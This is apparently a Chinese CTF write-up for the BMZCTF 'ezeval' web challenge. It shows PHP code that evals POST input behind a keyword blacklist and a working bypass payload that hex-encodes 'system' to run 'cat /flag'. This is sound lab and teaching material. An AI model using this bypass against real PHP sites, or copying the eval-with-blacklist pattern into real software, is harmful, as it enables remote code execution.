BMZCTF_WEB_ezeval

查看代码

<?php
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
$cmd=htmlspecialchars($cmd);
$black_list=array('php','echo','`','preg','server','chr','decode','html','md5','post','get','file','session','ascii','eval','replace','assert','exec','cookie','$','include','var','print','scan','decode','system','func','ini_','passthru','pcntl','open','link','log','current','local','source','require','contents');
$cmd = str_ireplace($black_list,"BMZCTF",$cmd);
eval($cmd);

?>

post方式传输一个cmd参数，当参数等于黑名单中的字符串时，转换成BMZCTF，在这种情况下进行绕过得到flag

根据题目要求可以想到使用编码进行过滤，尝试ASSIC编码，构造payload尝试

cmd=hex2bin('73797374656d')('cat /flag');

成功得到flag！